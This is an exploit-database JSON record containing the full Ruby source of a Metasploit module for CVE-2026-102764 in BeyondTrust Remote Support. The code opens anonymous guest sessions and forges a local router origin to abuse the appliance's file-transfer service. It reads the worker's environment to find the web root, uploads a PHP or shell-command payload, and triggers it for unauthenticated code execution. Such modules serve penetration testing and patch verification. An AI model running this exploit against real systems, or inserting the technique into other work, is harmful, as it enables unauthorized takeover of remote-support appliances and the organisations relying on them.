{"exploit":{"id":"MSF-linux--http--beyondtrust_rs_mrs_file_upload","name":"BeyondTrust Remote Support MRS Origin Validation File Upload","description":"An anonymous attacker can forge the MRS local router alias and invoke the appliance-side thin worker's native file-transfer service. This module uploads a PHP payload into the site's public directory and requests its extensionless URL. PHP and Unix command payloads execute as the site user. Tested on Remote Support 24.1.2; other affected releases and fixed builds have not been established. Public issue-menu sessions and thin chat are required.","cves":["CVE-2026-102764"],"author":"jheysel","published":"2026-10-15","platform":"PHP,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/beyondtrust_rs_mrs_file_upload.rb","path":"modules/exploits/linux/http/beyondtrust_rs_mrs_file_upload.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"beyondtrust_rs_mrs_file_upload.rb","vulnerabilities":[{"id":"CVE-2026-102764","state":"PUBLISHED","title":"Improper Origin Validation in Internal Messaging Components of BeyondTrust Remote Support","titleSource":"CVE Program","description":"The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-102764","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"BT","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-102764"},"updatedAt":"2026-10-17T03:55:27.214Z","retrievedAt":"2026-11-25T16:13:33.702Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--beyondtrust_rs_mrs_file_upload.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--beyondtrust_rs_mrs_file_upload","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--beyondtrust_rs_mrs_file_upload/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--beyondtrust_rs_mrs_file_upload/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HTTP::Beyondtrust::RemoteSupport\n  include Msf::Exploit::FileDropper\n  include Msf::Payload::Php\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BeyondTrust Remote Support MRS Origin Validation File Upload',\n        'Description' => %q{\n          An anonymous attacker can forge the MRS local router alias and invoke the\n          appliance-side thin worker's native file-transfer service. This module\n          uploads a PHP payload into the site's public directory and requests its\n          extensionless URL. PHP and Unix command payloads execute as the site user.\n          Tested on Remote Support 24.1.2; other affected releases and fixed builds\n          have not been established. Public issue-menu sessions and thin chat are required.\n        },\n        'Author' => [\n          'jheysel', # PoC and msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          # Deployment documentation; no public vulnerability advisory is established.\n          ['URL', 'https://docs.beyondtrust.com/rs/docs/va-install'],\n          ['URL', 'https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764/'],\n          ['CVE', '2026-102764']\n        ],\n        # First local reproduction date. A public disclosure date is not established.\n        'DisclosureDate' => '2026-10-15',\n        'Privileged' => false,\n        'Targets' => [\n          ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php }],\n          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :cmd }]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Remote Support base path', '/']),\n      OptInt.new('ISSUE', [true, 'Public issue-menu identifier', 1])\n    ])\n    register_advanced_options([\n      OptString.new('TargetCompanyName', [false, 'Company/site name; automatically discovered when unset']),\n      OptString.new('TargetServerFQDN', [false, 'Site hostname when company discovery is unavailable']),\n      OptString.new('WritableDir', [false, 'Override the native public directory; discovered from the worker environment when unset']),\n      OptInt.new('ProtocolTimeout', [true, 'Overall customer handshake and native upload timeout in seconds', 45])\n    ])\n  end\n\n  def check\n    version = remote_support_version\n    return CheckCode::Unknown('Remote Support version discovery failed') unless version\n\n    identify_service(version)\n    return CheckCode::Appears(\"BeyondTrust Remote Support #{version} detected.\") if version <= Rex::Version.new('26.2.3')\n\n    CheckCode::Safe(\"BeyondTrust Remote Support #{version} detected.\")\n  rescue Rex::TimeoutError, IOError => e\n    elog('Remote Support identification failed', error: e)\n    CheckCode::Unknown(\"Remote Support identification failed: #{e.message}\")\n  end\n\n  def exploit\n    fail_with(Failure::BadConfig, 'ISSUE and ProtocolTimeout must be positive') unless datastore['ISSUE'].positive? && datastore['ProtocolTimeout'].positive?\n\n    # Discover and report the application version even when AutoCheck is disabled.\n    version = remote_support_version\n    identify_service(version || 'unknown')\n    # Resolve the company or site hostname used to route both customer WebSocket connections.\n    site = get_site_info\n    fail_with(Failure::UnexpectedReply, 'Could not discover the Remote Support company/site') unless site.is_a?(Hash)\n\n    # Keep the uploaded filename and HTTP trigger tied to the same randomized basename.\n    basename = Rex::Text.rand_text_alpha_lower(16)\n    upload_uri = normalize_uri(target_uri.path, basename)\n    print_status('Creating anonymous customer sessions and the appliance-side thin worker')\n    # Bound session creation, handshakes, worker/path discovery, and the file transfer together.\n    ::Timeout.timeout(datastore['ProtocolTimeout']) do\n      # Each public POST /api/start_session returns a fresh guest session key; no account login is needed.\n      # native_key identifies our MRS customer, which sends requests and transfers file bytes.\n      # thin_key identifies a separate thin customer whose appliance-side worker accesses the filesystem.\n      native_key = remote_support_guest(issue: datastore['ISSUE'])\n      thin_key = remote_support_guest(issue: datastore['ISSUE'])\n\n      # Open the native /nw transport and complete its customer and MRS handshakes with native_key.\n      # prepared contains the MRS client and a mailbox handler for Director responses.\n      @native_wire = remote_support_transport(site: site)\n      prepared = remote_support_mrs(wire: @native_wire, key: native_key)\n\n      # Open the thin /nw transport and authenticate thin_key to start thin-scc on the appliance.\n      # remote_support_thin sends the thin-client environment and returns a thread that services acknowledgements.\n      @thin_wire = remote_support_transport(site: site, thin: true)\n      @thin_thread = remote_support_thin(wire: @thin_wire, key: thin_key)\n\n      # Query Director.GetGatewaySessionValues through the native client using thin_key to find that guest's\n      # worker. The result supplies its main dispatcher address and conference key (ckey) for file requests.\n      worker = remote_support_worker(**prepared, key: thin_key)\n\n      # Honor an explicit web-root override; otherwise derive the installation path from the worker.\n      directory = datastore['WritableDir'].presence&.delete_suffix('/')\n      unless directory\n        print_status('Discovering the public directory from the thin worker environment')\n        # Read /proc/self/environ via the native file service, resolve BG_app_root (or the brain socket's\n        # installation root), and append /app/www/public to locate the PHP document root.\n        directory = remote_support_public_directory(client: prepared[:client], worker: worker)\n      end\n      upload_path = \"#{directory}/#{basename}.php\"\n      print_status(\"Uploading PHP to #{upload_path}\")\n      # Both targets write PHP: use PHP payloads directly, or wrap a Unix command with php_exec_cmd.\n      if target['Type'] == :php\n        payload_file_content = payload.encoded\n        payload_file_content = \"<?php #{payload_file_content}\" unless payload_file_content.include?('<?php')\n      else\n        payload_file_content = php_exec_cmd(payload.encoded)\n      end\n\n      # Track the path before transfer so FileDropper also covers incomplete uploads.\n      register_file_for_cleanup(upload_path)\n      # remote_support_write forges source router 1 so the worker accepts LocalFileTransfer as local.\n      # ftsName=local selects the appliance filesystem; DownloadAnonymousFiles makes the worker fetch\n      # our bytes over the existing MRS client and write them to upload_path, then acknowledge completion.\n      remote_support_write(client: prepared[:client], worker: worker, path: upload_path, content: payload_file_content)\n    end\n    # Record the confirmed native file write before requesting payload execution.\n    report_vuln(host: rhost, port: rport, proto: 'tcp', name: name, refs: references, info: 'Forged local MRS origin completed a native file transfer')\n    print_status('Requesting the extensionless PHP endpoint')\n    # Apache rejects direct .php URLs, but rewrites this extensionless path to the uploaded PHP file.\n    send_request_cgi('method' => 'GET', 'uri' => upload_uri)\n  rescue ::Timeout::Error, Rex::TimeoutError => e\n    elog('Remote Support native transfer timed out', error: e)\n    fail_with(Failure::TimeoutExpired, 'The Remote Support native transfer timed out')\n  rescue ProtocolError => e\n    elog('Remote Support protocol operation failed', error: e)\n    fail_with(Failure::UnexpectedReply, e.message)\n  rescue Rex::Proto::Http::WebSocket::WebSocketError, IOError => e\n    elog('Remote Support connection failed', error: e)\n    fail_with(Failure::Unreachable, \"Remote Support connection failed: #{e.message}\")\n  end\n\n  # Associate AutoCheck's inherited reporting and explicit exploit reporting with\n  # the same identified service, including runs with AutoCheck disabled.\n  def report_vuln(options = {})\n    super(options.merge(service: @beyondtrust_service))\n  end\n\n  def cleanup\n    [@thin_wire, @native_wire].compact.each do |wire|\n      wire.close\n    rescue IOError => e\n      vprint_warning(\"Closing the customer transport failed: #{e.message}\")\n      elog('Closing the Remote Support transport failed', error: e)\n    end\n    @thin_thread&.kill\n  ensure\n    super\n  end\n\n  private\n\n  def identify_service(version)\n    @beyondtrust_service = report_service(\n      host: rhost, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http',\n      info: \"BeyondTrust Remote Support #{version} (#{target_uri.path})\"\n    )\n  end\nend\n","sha256":"3bf013ea01ea6ab58358571165e239d4d759033774ad4a11734bf0d89ae8cc70","bytes":9333,"fetchedAt":"2026-11-25T16:31:00.127Z","encoding":"utf-8 (display only; download retains original bytes)"}